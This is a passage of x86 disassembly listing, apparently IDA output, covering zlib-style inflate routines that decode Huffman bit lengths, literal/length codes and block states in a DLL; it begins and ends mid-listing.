cmp edi, 3 jnb short loc_10005627 loc_100055BF: ; CODE XREF: sub_10004F78+6ADj cmp [esp+4Ch+var_3C], 0 jz short loc_100055CD xor edx, edx mov [esp+4Ch+var_4C], edx jmp short loc_10005605 ; --------------------------------------------------------------------------- loc_100055CD: ; CODE XREF: sub_10004F78+64Cj mov ecx, [esp+4Ch+var_44] mov [ebx+20h], ecx mov [ebx+1Ch], edi mov eax, [esp+4Ch+var_3C] mov [esi+4], eax mov edx, [esp+4Ch+var_40] sub edx, [esi] add [esi+8], edx mov edx, esi mov ecx, [esp+4Ch+var_40] mov [esi], ecx mov eax, [esp+4Ch+var_38] mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_10005605: ; CODE XREF: sub_10004F78+653j mov ecx, edi dec [esp+4Ch+var_3C] mov edx, [esp+4Ch+var_40] mov al, [edx] xor edx, edx mov dl, al shl edx, cl or [esp+4Ch+var_44], edx inc [esp+4Ch+var_40] add edi, 8 cmp edi, 3 jb short loc_100055BF loc_10005627: ; CODE XREF: sub_10004F78+645j mov ecx, [ebx+8] inc dword ptr [ebx+8] mov eax, ds:dword_1000991C[ecx*4] mov edx, [ebx+0Ch] mov ecx, [esp+4Ch+var_44] and ecx, 7 mov [edx+eax*4], ecx shr [esp+4Ch+var_44], 3 sub edi, 3 loc_10005649: ; CODE XREF: sub_10004F78+51j ; sub_10004F78+63Dj ; DATA XREF: ... mov eax, [ebx+4] ; jumptable 10004FC9 case 4 shr eax, 0Ah add eax, 4 cmp eax, [ebx+8] ja loc_100055BA jmp short loc_10005672 ; --------------------------------------------------------------------------- loc_1000565D: ; CODE XREF: sub_10004F78+6FEj mov edx, [ebx+8] inc dword ptr [ebx+8] mov ecx, ds:dword_1000991C[edx*4] mov eax, [ebx+0Ch] xor edx, edx mov [eax+ecx*4], edx loc_10005672: ; CODE XREF: sub_10004F78+6E3j cmp dword ptr [ebx+8], 13h jb short loc_1000565D mov dword ptr [ebx+10h], 7 mov ecx, [ebx+24h] push ecx push esi lea ecx, [ebx+14h] lea edx, [ebx+10h] mov eax, [ebx+0Ch] call sub_10004B48 mov [esp+4Ch+var_48], eax cmp [esp+4Ch+var_48], 0 jz short loc_100056F1 mov edx, [ebx+0Ch] mov eax, [esi+28h] call dword ptr [esi+24h] mov ecx, [esp+4Ch+var_48] mov [esp+4Ch+var_4C], ecx cmp [esp+4Ch+var_4C], 0FFFFFFFDh jnz short loc_100056B9 mov dword ptr [ebx], 9 loc_100056B9: ; CODE XREF: sub_10004F78+739j mov eax, [esp+4Ch+var_44] mov [ebx+20h], eax mov [ebx+1Ch], edi mov edx, [esp+4Ch+var_3C] mov [esi+4], edx mov ecx, [esp+4Ch+var_40] sub ecx, [esi] add [esi+8], ecx mov eax, [esp+4Ch+var_40] mov [esi], eax mov eax, ebx mov edx, [esp+4Ch+var_38] mov [ebx+34h], edx mov edx, esi mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_100056F1: ; CODE XREF: sub_10004F78+723j xor ecx, ecx mov [ebx+8], ecx mov dword ptr [ebx], 5 jmp loc_10005920 ; jumptable 10004FC9 case 5 ; --------------------------------------------------------------------------- loc_10005701: ; CODE XREF: sub_10004F78+9CBj mov eax, [ebx+10h] mov [esp+4Ch+var_48], eax cmp edi, [esp+4Ch+var_48] jnb short loc_10005777 loc_1000570E: ; CODE XREF: sub_10004F78+7FDj cmp [esp+4Ch+var_3C], 0 jz short loc_1000571C xor edx, edx mov [esp+4Ch+var_4C], edx jmp short loc_10005754 ; --------------------------------------------------------------------------- loc_1000571C: ; CODE XREF: sub_10004F78+79Bj mov ecx, [esp+4Ch+var_44] mov [ebx+20h], ecx mov [ebx+1Ch], edi mov eax, [esp+4Ch+var_3C] mov [esi+4], eax mov edx, [esp+4Ch+var_40] sub edx, [esi] add [esi+8], edx mov edx, esi mov ecx, [esp+4Ch+var_40] mov [esi], ecx mov eax, [esp+4Ch+var_38] mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_10005754: ; CODE XREF: sub_10004F78+7A2j mov ecx, edi dec [esp+4Ch+var_3C] mov edx, [esp+4Ch+var_40] mov al, [edx] xor edx, edx mov dl, al shl edx, cl or [esp+4Ch+var_44], edx inc [esp+4Ch+var_40] add edi, 8 cmp edi, [esp+4Ch+var_48] jb short loc_1000570E loc_10005777: ; CODE XREF: sub_10004F78+794j mov ecx, [esp+4Ch+var_48] mov eax, ds:dword_10009A0C[ecx*4] and eax, [esp+4Ch+var_44] shl eax, 3 add eax, [ebx+14h] xor edx, edx mov dl, [eax+1] mov [esp+4Ch+var_48], edx mov edx, [eax+4] cmp edx, 10h jnb short loc_100057BA mov ecx, [esp+4Ch+var_48] shr [esp+4Ch+var_44], cl sub edi, [esp+4Ch+var_48] mov eax, [ebx+8] inc dword ptr [ebx+8] mov ecx, [ebx+0Ch] mov [ecx+eax*4], edx jmp loc_10005920 ; jumptable 10004FC9 case 5 ; --------------------------------------------------------------------------- loc_100057BA: ; CODE XREF: sub_10004F78+823j cmp edx, 12h jnz short loc_100057C6 mov eax, 7 jmp short loc_100057CB ; --------------------------------------------------------------------------- loc_100057C6: ; CODE XREF: sub_10004F78+845j mov eax, edx sub eax, 0Eh loc_100057CB: ; CODE XREF: sub_10004F78+84Cj mov ecx, 0Bh cmp edx, 12h jz short loc_100057D8 add ecx, 0FFFFFFF8h loc_100057D8: ; CODE XREF: sub_10004F78+85Bj mov [esp+4Ch+var_24], ecx jmp short loc_10005845 ; --------------------------------------------------------------------------- loc_100057DE: ; CODE XREF: sub_10004F78+8D5j cmp [esp+4Ch+var_3C], 0 jz short loc_100057EC xor ecx, ecx mov [esp+4Ch+var_4C], ecx jmp short loc_10005824 ; --------------------------------------------------------------------------- loc_100057EC: ; CODE XREF: sub_10004F78+86Bj mov eax, [esp+4Ch+var_44] mov [ebx+20h], eax mov [ebx+1Ch], edi mov edx, [esp+4Ch+var_3C] mov [esi+4], edx mov eax, [esp+4Ch+var_40] sub eax, [esi] add [esi+8], eax mov eax, ebx mov edx, [esp+4Ch+var_40] mov [esi], edx mov edx, esi mov ecx, [esp+4Ch+var_38] mov [ebx+34h], ecx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_10005824: ; CODE XREF: sub_10004F78+872j dec [esp+4Ch+var_3C] mov ecx, [esp+4Ch+var_40] mov cl, [ecx] mov ebp, ecx and ebp, 0FFh mov ecx, edi shl ebp, cl or [esp+4Ch+var_44], ebp inc [esp+4Ch+var_40] add edi, 8 loc_10005845: ; CODE XREF: sub_10004F78+864j mov ecx, [esp+4Ch+var_48] add ecx, eax cmp edi, ecx jb short loc_100057DE mov ecx, [esp+4Ch+var_48] shr [esp+4Ch+var_44], cl mov ecx, ds:dword_10009A0C[eax*4] sub edi, [esp+4Ch+var_48] and ecx, [esp+4Ch+var_44] sub edi, eax add [esp+4Ch+var_24], ecx mov ecx, eax shr [esp+4Ch+var_44], cl mov eax, [ebx+8] mov ecx, [ebx+4] mov [esp+4Ch+var_48], ecx mov ebp, [esp+4Ch+var_48] mov ecx, [esp+4Ch+var_48] shr ebp, 5 and ecx, 1Fh and ebp, 1Fh add ecx, ebp mov ebp, [esp+4Ch+var_24] add ebp, eax add ecx, 102h cmp ecx, ebp jb short loc_100058A9 cmp edx, 10h jnz short loc_100058FE cmp eax, 1 jnb short loc_100058FE loc_100058A9: ; CODE XREF: sub_10004F78+925j mov edx, [ebx+0Ch] mov eax, [esi+28h] call dword ptr [esi+24h] mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidBitLeng ; "invalid bit length repeat" mov [esp+4Ch+var_4C], 0FFFFFFFDh mov ecx, [esp+4Ch+var_44] mov [ebx+20h], ecx mov [ebx+1Ch], edi mov eax, [esp+4Ch+var_3C] mov [esi+4], eax mov edx, [esp+4Ch+var_40] sub edx, [esi] add [esi+8], edx mov edx, esi mov ecx, [esp+4Ch+var_40] mov [esi], ecx mov eax, [esp+4Ch+var_38] mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_100058FE: ; CODE XREF: sub_10004F78+92Aj ; sub_10004F78+92Fj cmp edx, 10h jnz short loc_1000590C mov edx, [ebx+0Ch] mov ecx, [edx+eax*4-4] jmp short loc_1000590E ; --------------------------------------------------------------------------- loc_1000590C: ; CODE XREF: sub_10004F78+989j xor ecx, ecx loc_1000590E: ; CODE XREF: sub_10004F78+992j mov edx, ecx loc_10005910: ; CODE XREF: sub_10004F78+9A3j mov ecx, [ebx+0Ch] mov [ecx+eax*4], edx inc eax dec [esp+4Ch+var_24] jnz short loc_10005910 mov [ebx+8], eax loc_10005920: ; CODE XREF: sub_10004F78+51j ; sub_10004F78+784j ... mov eax, [ebx+4] ; jumptable 10004FC9 case 5 mov [esp+4Ch+var_48], eax mov eax, [esp+4Ch+var_48] mov edx, [esp+4Ch+var_48] shr eax, 5 and edx, 1Fh and eax, 1Fh add edx, eax add edx, 102h cmp edx, [ebx+8] ja loc_10005701 xor edx, edx mov [ebx+14h], edx mov [esp+4Ch+var_20], 9 mov [esp+4Ch+var_1C], 6 mov ecx, [ebx+4] lea eax, [esp+4Ch+var_20] mov [esp+4Ch+var_48], ecx push eax lea edx, [esp+50h+var_1C] push edx lea ecx, [esp+54h+var_18] push ecx lea eax, [esp+58h+var_14] push eax mov edx, [ebx+24h] push edx push esi mov edx, [esp+64h+var_48] mov eax, [esp+64h+var_48] shr edx, 5 and eax, 1Fh and edx, 1Fh mov ecx, [ebx+0Ch] inc edx add eax, 101h call sub_10004BE4 mov [esp+4Ch+var_48], eax mov edx, [ebx+0Ch] mov eax, [esi+28h] call dword ptr [esi+24h] cmp [esp+4Ch+var_48], 0 jz short loc_100059FD cmp [esp+4Ch+var_48], 0FFFFFFFDh jnz short loc_100059BE mov dword ptr [ebx], 9 loc_100059BE: ; CODE XREF: sub_10004F78+A3Ej mov ecx, [esp+4Ch+var_48] mov [esp+4Ch+var_4C], ecx mov eax, [esp+4Ch+var_44] mov [ebx+20h], eax mov [ebx+1Ch], edi mov edx, [esp+4Ch+var_3C] mov [esi+4], edx mov ecx, [esp+4Ch+var_40] sub ecx, [esi] add [esi+8], ecx mov eax, [esp+4Ch+var_40] mov [esi], eax mov eax, ebx mov edx, [esp+4Ch+var_38] mov [ebx+34h], edx mov edx, esi mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_100059FD: ; CODE XREF: sub_10004F78+A37j mov ecx, [esp+4Ch+var_14] push ecx push esi mov ecx, [esp+54h+var_18] mov edx, [esp+54h+var_1C] mov eax, [esp+54h+var_20] call sub_10005CA0 mov ebp, eax test eax, eax jnz short loc_10005A59 mov [esp+4Ch+var_4C], 0FFFFFFFCh mov edx, [esp+4Ch+var_44] mov [ebx+20h], edx mov [ebx+1Ch], edi mov ecx, [esp+4Ch+var_3C] mov [esi+4], ecx mov eax, [esp+4Ch+var_40] sub eax, [esi] add [esi+8], eax mov eax, ebx mov edx, [esp+4Ch+var_40] mov [esi], edx mov edx, esi mov ecx, [esp+4Ch+var_38] mov [ebx+34h], ecx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_10005A59: ; CODE XREF: sub_10004F78+AA0j mov [ebx+4], ebp mov dword ptr [ebx], 6 loc_10005A62: ; CODE XREF: sub_10004F78+51j ; DATA XREF: sub_10004F78:off_10004FD0o mov eax, [esp+4Ch+var_44] ; jumptable 10004FC9 case 6 mov [ebx+20h], eax mov [ebx+1Ch], edi mov edx, [esp+4Ch+var_3C] mov [esi+4], edx mov ecx, [esp+4Ch+var_40] sub ecx, [esi] add [esi+8], ecx mov eax, [esp+4Ch+var_40] mov [esi], eax mov eax, ebx mov edx, [esp+4Ch+var_38] mov [ebx+34h], edx mov edx, esi mov ecx, [esp+4Ch+var_4C] call sub_10005CF0 mov [esp+4Ch+var_4C], eax dec eax jz short loc_10005AAC mov ecx, [esp+4Ch+var_4C] mov edx, esi mov eax, ebx call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_10005AAC: ; CODE XREF: sub_10004F78+B21j xor edx, edx mov [esp+4Ch+var_4C], edx mov edx, esi mov eax, [ebx+4] call sub_100065A0 mov ecx, [esi] mov [esp+4Ch+var_40], ecx mov eax, [esi+4] mov [esp+4Ch+var_3C], eax mov edx, [ebx+20h] mov [esp+4Ch+var_44], edx mov edi, [ebx+1Ch] mov eax, [ebx+34h] mov [esp+4Ch+var_38], eax mov edx, [esp+4Ch+var_38] cmp edx, [ebx+30h] jnb short loc_10005AEC mov ebp, [ebx+30h] sub ebp, [esp+4Ch+var_38] dec ebp jmp short loc_10005AF3 ; --------------------------------------------------------------------------- loc_10005AEC: ; CODE XREF: sub_10004F78+B68j mov ebp, [ebx+2Ch] sub ebp, [esp+4Ch+var_38] loc_10005AF3: ; CODE XREF: sub_10004F78+B72j cmp dword ptr [ebx+18h], 0 jnz short loc_10005B02 xor eax, eax mov [ebx], eax jmp loc_10004FBE ; --------------------------------------------------------------------------- loc_10005B02: ; CODE XREF: sub_10004F78+B7Fj mov dword ptr [ebx], 7 loc_10005B08: ; CODE XREF: sub_10004F78+51j ; DATA XREF: sub_10004F78:off_10004FD0o mov edx, [esp+4Ch+var_38] ; jumptable 10004FC9 case 7 mov eax, ebx mov [ebx+34h], edx mov edx, esi mov ecx, [esp+4Ch+var_4C] call sub_100065AC mov [esp+4Ch+var_4C], eax mov ecx, [ebx+34h] mov [esp+4Ch+var_38], ecx mov eax, [esp+4Ch+var_38] cmp eax, [ebx+30h] jnb short loc_10005B38 mov edx, [ebx+30h] sub edx, [esp+4Ch+var_38] dec edx jmp short loc_10005B3F ; --------------------------------------------------------------------------- loc_10005B38: ; CODE XREF: sub_10004F78+BB4j mov edx, [ebx+2Ch] sub edx, [esp+4Ch+var_38] loc_10005B3F: ; CODE XREF: sub_10004F78+BBEj mov eax, [ebx+30h] cmp eax, [ebx+34h] jz short loc_10005B7F mov ecx, [esp+4Ch+var_44] mov [ebx+20h], ecx mov [ebx+1Ch], edi mov eax, [esp+4Ch+var_3C] mov [esi+4], eax mov edx, [esp+4Ch+var_40] sub edx, [esi] add [esi+8], edx mov edx, esi mov ecx, [esp+4Ch+var_40] mov [esi], ecx mov eax, [esp+4Ch+var_38] mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp loc_10005C37 ; --------------------------------------------------------------------------- loc_10005B7F: ; CODE XREF: sub_10004F78+BCDj mov dword ptr [ebx], 8 loc_10005B85: ; CODE XREF: sub_10004F78+51j ; DATA XREF: sub_10004F78:off_10004FD0o mov [esp+4Ch+var_4C], 1 ; jumptable 10004FC9 case 8 mov edx, [esp+4Ch+var_44] mov [ebx+20h], edx mov [ebx+1Ch], edi mov ecx, [esp+4Ch+var_3C] mov [esi+4], ecx mov eax, [esp+4Ch+var_40] sub eax, [esi] add [esi+8], eax mov eax, ebx mov edx, [esp+4Ch+var_40] mov [esi], edx mov edx, esi mov ecx, [esp+4Ch+var_38] mov [ebx+34h], ecx mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp short loc_10005C37 ; --------------------------------------------------------------------------- loc_10005BC1: ; CODE XREF: sub_10004F78+51j ; DATA XREF: sub_10004F78:off_10004FD0o mov [esp+4Ch+var_4C], 0FFFFFFFDh ; jumptable 10004FC9 case 9 mov eax, [esp+4Ch+var_44] mov [ebx+20h], eax mov [ebx+1Ch], edi mov edx, [esp+4Ch+var_3C] mov [esi+4], edx mov ecx, [esp+4Ch+var_40] sub ecx, [esi] add [esi+8], ecx mov eax, [esp+4Ch+var_40] mov [esi], eax mov eax, ebx mov edx, [esp+4Ch+var_38] mov [ebx+34h], edx mov edx, esi mov ecx, [esp+4Ch+var_4C] call sub_100065AC jmp short loc_10005C37 ; --------------------------------------------------------------------------- loc_10005BFD: ; CODE XREF: sub_10004F78+4Bj mov [esp+4Ch+var_4C], 0FFFFFFFEh ; default mov ecx, [esp+4Ch+var_44] mov [ebx+20h], ecx mov [ebx+1Ch], edi mov eax, [esp+4Ch+var_3C] mov [esi+4], eax mov edx, [esp+4Ch+var_40] sub edx, [esi] add [esi+8], edx mov edx, esi mov ecx, [esp+4Ch+var_40] mov [esi], ecx mov eax, [esp+4Ch+var_38] mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+4Ch+var_4C] call sub_100065AC loc_10005C37: ; CODE XREF: sub_10004F78+C6j ; sub_10004F78+1BBj ... add esp, 3Ch pop ebp pop edi pop esi pop ebx retn sub_10004F78 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10005C40 proc near ; CODE XREF: sub_10003FCC+26p push ebx push esi mov ebx, edx mov esi, eax xor ecx, ecx mov edx, ebx mov eax, esi call sub_10004E7C mov edx, [esi+28h] mov eax, [ebx+28h] call dword ptr [ebx+24h] mov edx, [esi+24h] mov eax, [ebx+28h] call dword ptr [ebx+24h] mov edx, esi mov eax, [ebx+28h] call dword ptr [ebx+24h] xor eax, eax pop esi pop ebx retn sub_10005C40 endp ; =============== S U B R O U T I N E ======================================= sub_10005C70 proc near ; CODE XREF: CODE:10004564p push ebx push esi mov esi, ecx mov ebx, eax push esi push edx mov eax, [ebx+28h] push eax call sub_10003DD0 add esp, 0Ch mov edx, [ebx+28h] add edx, esi mov [ebx+34h], edx mov [ebx+30h], edx pop esi pop ebx retn sub_10005C70 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10005C94 proc near ; CODE XREF: CODE:1000464Bp cmp dword ptr [eax], 1 setz al and eax, 1 retn sub_10005C94 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10005CA0 proc near ; CODE XREF: sub_10004F78+173p ; sub_10004F78+A97p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov esi, [ebp+arg_0] mov ecx, 1Ch mov edx, 1 mov eax, [esi+28h] call dword ptr [esi+20h] mov ebx, eax test eax, eax jz short loc_10005CE6 xor edx, edx mov [ebx], edx mov cl, byte ptr [ebp+var_4] mov [ebx+10h], cl mov al, byte ptr [ebp+var_8] mov [ebx+11h], al mov edx, [ebp+var_C] mov [ebx+14h], edx mov ecx, [ebp+arg_4] mov [ebx+18h], ecx loc_10005CE6: ; CODE XREF: sub_10005CA0+28j mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_10005CA0 endp ; =============== S U B R O U T I N E ======================================= sub_10005CF0 proc near ; CODE XREF: sub_10004F78+B18p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFDCh mov ebx, eax mov esi, edx mov [esp+34h+var_34], ecx mov eax, [ebx+4] mov [esp+34h+var_14], eax mov eax, [esi+4] mov edi, [esi] mov [esp+34h+var_20], eax mov edx, [ebx+20h] mov [esp+34h+var_24], edx mov eax, [ebx+34h] mov ebp, [ebx+1Ch] cmp eax, [ebx+30h] jnb short loc_10005D28 mov edx, [ebx+30h] sub edx, eax dec edx jmp short loc_10005D2D ; --------------------------------------------------------------------------- loc_10005D28: ; CODE XREF: sub_10005CF0+2Ej mov edx, [ebx+2Ch] sub edx, eax loc_10005D2D: ; CODE XREF: sub_10005CF0+36j mov [esp+34h+var_1C], edx loc_10005D31: ; CODE XREF: sub_10005CF0+125j ; sub_10005CF0+21Cj ... mov ecx, [esp+34h+var_14] mov edx, [ecx] cmp edx, 9 ; switch 10 cases ja loc_10006566 ; default jmp off_10005D47[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_10005D47 dd offset loc_10005D6F ; DATA XREF: sub_10005CF0+50r dd offset loc_10005E42 ; jump table for switch statement dd offset loc_10005FCB dd offset loc_1000607F dd offset loc_100061CE dd offset loc_10006265 dd offset loc_100063AC dd offset loc_1000648E dd offset loc_10006502 dd offset loc_10006534 ; --------------------------------------------------------------------------- loc_10005D6F: ; CODE XREF: sub_10005CF0+50j ; DATA XREF: sub_10005CF0:off_10005D47o cmp [esp+34h+var_1C], 102h ; jumptable 10005D40 case 0 jb loc_10005E1A cmp [esp+34h+var_20], 0Ah jb loc_10005E1A mov ecx, [esp+34h+var_24] mov [ebx+20h], ecx mov [ebx+1Ch], ebp mov edx, [esp+34h+var_20] mov ecx, edi mov [esi+4], edx sub ecx, [esi] add [esi+8], ecx mov [esi], edi mov [ebx+34h], eax mov eax, [esp+34h+var_14] mov eax, [eax+18h] push eax push ebx push esi mov edx, [esp+40h+var_14] mov eax, [esp+40h+var_14] mov ecx, [edx+14h] xor edx, edx mov dl, [eax+11h] mov eax, [esp+40h+var_14] movzx eax, byte ptr [eax+10h] call sub_100066BC mov [esp+34h+var_34], eax mov edi, [esi] mov eax, [esi+4] mov [esp+34h+var_20], eax mov edx, [ebx+20h] mov [esp+34h+var_24], edx mov ebp, [ebx+1Ch] mov eax, [ebx+34h] cmp eax, [ebx+30h] jnb short loc_10005DF2 mov edx, [ebx+30h] sub edx, eax dec edx jmp short loc_10005DF7 ; --------------------------------------------------------------------------- loc_10005DF2: ; CODE XREF: sub_10005CF0+F8j mov edx, [ebx+2Ch] sub edx, eax loc_10005DF7: ; CODE XREF: sub_10005CF0+100j mov [esp+34h+var_1C], edx cmp [esp+34h+var_34], 0 jz short loc_10005E1A mov ecx, 7 cmp [esp+34h+var_34], 1 jz short loc_10005E0F add ecx, 2 loc_10005E0F: ; CODE XREF: sub_10005CF0+11Aj mov edx, [esp+34h+var_14] mov [edx], ecx jmp loc_10005D31 ; --------------------------------------------------------------------------- loc_10005E1A: ; CODE XREF: sub_10005CF0+87j ; sub_10005CF0+92j ... mov ecx, [esp+34h+var_14] xor edx, edx mov dl, [ecx+10h] mov ecx, [esp+34h+var_14] mov [ecx+0Ch], edx mov edx, [esp+34h+var_14] mov ecx, [edx+14h] mov edx, [esp+34h+var_14] mov [edx+8], ecx mov ecx, [esp+34h+var_14] mov dword ptr [ecx], 1 loc_10005E42: ; CODE XREF: sub_10005CF0+50j ; DATA XREF: sub_10005CF0:off_10005D47o mov edx, [esp+34h+var_14] ; jumptable 10005D40 case 1 mov ecx, [edx+0Ch] mov [esp+34h+var_30], ecx cmp ebp, [esp+34h+var_30] jnb short loc_10005EAD loc_10005E53: ; CODE XREF: sub_10005CF0+1BBj cmp [esp+34h+var_20], 0 jz short loc_10005E61 xor edx, edx mov [esp+34h+var_34], edx jmp short loc_10005E8F ; --------------------------------------------------------------------------- loc_10005E61: ; CODE XREF: sub_10005CF0+168j mov ecx, [esp+34h+var_24] mov [ebx+20h], ecx mov [ebx+1Ch], ebp mov edx, [esp+34h+var_20] mov ecx, edi mov [esi+4], edx mov edx, esi sub ecx, [esi] add [esi+8], ecx mov [esi], edi mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+34h+var_34] call sub_100065AC jmp loc_10006596 ; --------------------------------------------------------------------------- loc_10005E8F: ; CODE XREF: sub_10005CF0+16Fj dec [esp+34h+var_20] mov ecx, ebp mov dl, [edi] inc edi and edx, 0FFh add ebp, 8 shl edx, cl or [esp+34h+var_24], edx cmp ebp, [esp+34h+var_30] jb short loc_10005E53 loc_10005EAD: ; CODE XREF: sub_10005CF0+161j mov ecx, [esp+34h+var_14] mov edx, [ecx+8] mov ecx, [esp+34h+var_30] mov ecx, ds:dword_10009A0C[ecx*4] and ecx, [esp+34h+var_24] shl ecx, 3 add edx, ecx mov [esp+34h+var_2C], edx mov edx, [esp+34h+var_2C] mov dl, [edx+1] mov ecx, edx and edx, 0FFh shr [esp+34h+var_24], cl mov ecx, [esp+34h+var_2C] sub ebp, edx xor edx, edx mov dl, [ecx] mov [esp+34h+var_28], edx cmp [esp+34h+var_28], 0 jnz short loc_10005F11 mov ecx, [esp+34h+var_2C] mov edx, [ecx+4] mov ecx, [esp+34h+var_14] mov [ecx+8], edx mov edx, [esp+34h+var_14] mov dword ptr [edx], 6 jmp loc_10005D31 ; --------------------------------------------------------------------------- loc_10005F11: ; CODE XREF: sub_10005CF0+202j test byte ptr [esp+34h+var_28], 10h jz short loc_10005F43 mov edx, [esp+34h+var_14] mov ecx, [esp+34h+var_28] and ecx, 0Fh mov [edx+8], ecx mov ecx, [esp+34h+var_2C] mov edx, [ecx+4] mov ecx, [esp+34h+var_14] mov [ecx+4], edx mov edx, [esp+34h+var_14] mov dword ptr [edx], 2 jmp loc_10005D31 ; --------------------------------------------------------------------------- loc_10005F43: ; CODE XREF: sub_10005CF0+226j test byte ptr [esp+34h+var_28], 40h jnz short loc_10005F6F mov ecx, [esp+34h+var_14] mov edx, [esp+34h+var_28] mov [ecx+0Ch], edx mov ecx, [esp+34h+var_2C] mov edx, [ecx+4] mov ecx, [esp+34h+var_14] shl edx, 3 add edx, [esp+34h+var_2C] mov [ecx+8], edx jmp loc_10005D31 ; --------------------------------------------------------------------------- loc_10005F6F: ; CODE XREF: sub_10005CF0+258j test byte ptr [esp+34h+var_28], 20h jz short loc_10005F85 mov edx, [esp+34h+var_14] mov dword ptr [edx], 7 jmp loc_10005D31 ; --------------------------------------------------------------------------- loc_10005F85: ; CODE XREF: sub_10005CF0+284j mov ecx, [esp+34h+var_14] mov dword ptr [ecx], 9 mov dword ptr [esi+18h], offset aInvalidLiteral ; "invalid literal/length code" mov [esp+34h+var_34], 0FFFFFFFDh mov edx, [esp+34h+var_24] mov [ebx+20h], edx mov [ebx+1Ch], ebp mov ecx, [esp+34h+var_20] mov [esi+4], ecx mov edx, edi sub edx, [esi] add [esi+8], edx mov [esi], edi mov [ebx+34h], eax mov ecx, [esp+34h+var_34] mov edx, esi mov eax, ebx call sub_100065AC jmp loc_10006596 ; --------------------------------------------------------------------------- loc_10005FCB: ; CODE XREF: sub_10005CF0+50j ; DATA XREF: sub_10005CF0:off_10005D47o mov ecx, [esp+34h+var_14] ; jumptable 10005D40 case 2 mov edx, [ecx+8] mov [esp+34h+var_30], edx cmp ebp, [esp+34h+var_30] jnb short loc_10006036 loc_10005FDC: ; CODE XREF: sub_10005CF0+344j cmp [esp+34h+var_20], 0 jz short loc_10005FEA xor ecx, ecx mov [esp+34h+var_34], ecx jmp short loc_10006018 ; --------------------------------------------------------------------------- loc_10005FEA: ; CODE XREF: sub_10005CF0+2F1j mov edx, [esp+34h+var_24] mov [ebx+20h], edx mov [ebx+1Ch], ebp mov ecx, [esp+34h+var_20] mov [esi+4], ecx mov edx, edi sub edx, [esi] add [esi+8], edx mov [esi], edi mov [ebx+34h], eax mov ecx, [esp+34h+var_34] mov edx, esi mov eax, ebx call sub_100065AC jmp loc_10006596 ; --------------------------------------------------------------------------- loc_10006018: ; CODE XREF: sub_10005CF0+2F8j dec [esp+34h+var_20] mov ecx, ebp mov dl, [edi] inc edi and edx, 0FFh add ebp, 8 shl edx, cl or [esp+34h+var_24], edx cmp ebp, [esp+34h+var_30] jb short loc_10005FDC loc_10006036: ; CODE XREF: sub_10005CF0+2EAj mov ecx, [esp+34h+var_30] mov edx, ds:dword_10009A0C[ecx*4] mov ecx, [esp+34h+var_14] and edx, [esp+34h+var_24] add [ecx+4], edx mov ecx, [esp+34h+var_30] shr [esp+34h+var_24], cl mov edx, [esp+34h+var_14] mov ecx, [esp+34h+var_14] sub ebp, [esp+34h+var_30] movzx edx, byte ptr [edx+11h] mov [ecx+0Ch], edx mov edx, [esp+34h+var_14] mov ecx, [edx+18h] mov edx, [esp+34h+var_14] mov [edx+8], ecx mov ecx, [esp+34h+var_14] mov dword ptr [ecx], 3 loc_1000607F: ; CODE XREF: sub_10005CF0+50j ; DATA XREF: sub_10005CF0:off_10005D47o mov edx, [esp+34h+var_14] ; jumptable 10005D40 case 3 mov ecx, [edx+0Ch] mov [esp+34h+var_30], ecx cmp ebp, [esp+34h+var_30] jnb short loc_100060EA loc_10006090: ; CODE XREF: sub_10005CF0+3F8j cmp [esp+34h+var_20], 0 jz short loc_1000609E xor edx, edx mov [esp+34h+var_34], edx jmp short loc_100060CC ; --------------------------------------------------------------------------- loc_1000609E: ; CODE XREF: sub_10005CF0+3A5j mov ecx, [esp+34h+var_24] mov [ebx+20h], ecx mov [ebx+1Ch], ebp mov edx, [esp+34h+var_20] mov ecx, edi mov [esi+4], edx mov edx, esi sub ecx, [esi] add [esi+8], ecx mov [esi], edi mov [ebx+34h], eax mov eax, ebx mov ecx, [esp+34h+var_34] call sub_100065AC jmp loc_10006596 ; --------------------------------------------------------------------------- loc_100060CC: ; CODE XREF: sub_10005CF0+3ACj dec [esp+34h+var_20] mov ecx, ebp mov dl, [edi] inc edi and edx, 0FFh add ebp, 8 shl edx, cl or [esp+34h+var_24], edx cmp ebp, [esp+34h+var_30] jb short loc_10006090 loc_100060EA: ; CODE XREF: sub_10005CF0+39Ej mov ecx, [esp+34h+var_14] mov edx, [ecx+8] mov ecx, [esp+34h+var_30] mov ecx, ds:dword_10009A0C[ecx*4] and ecx, [esp+34h+var_24] shl ecx, 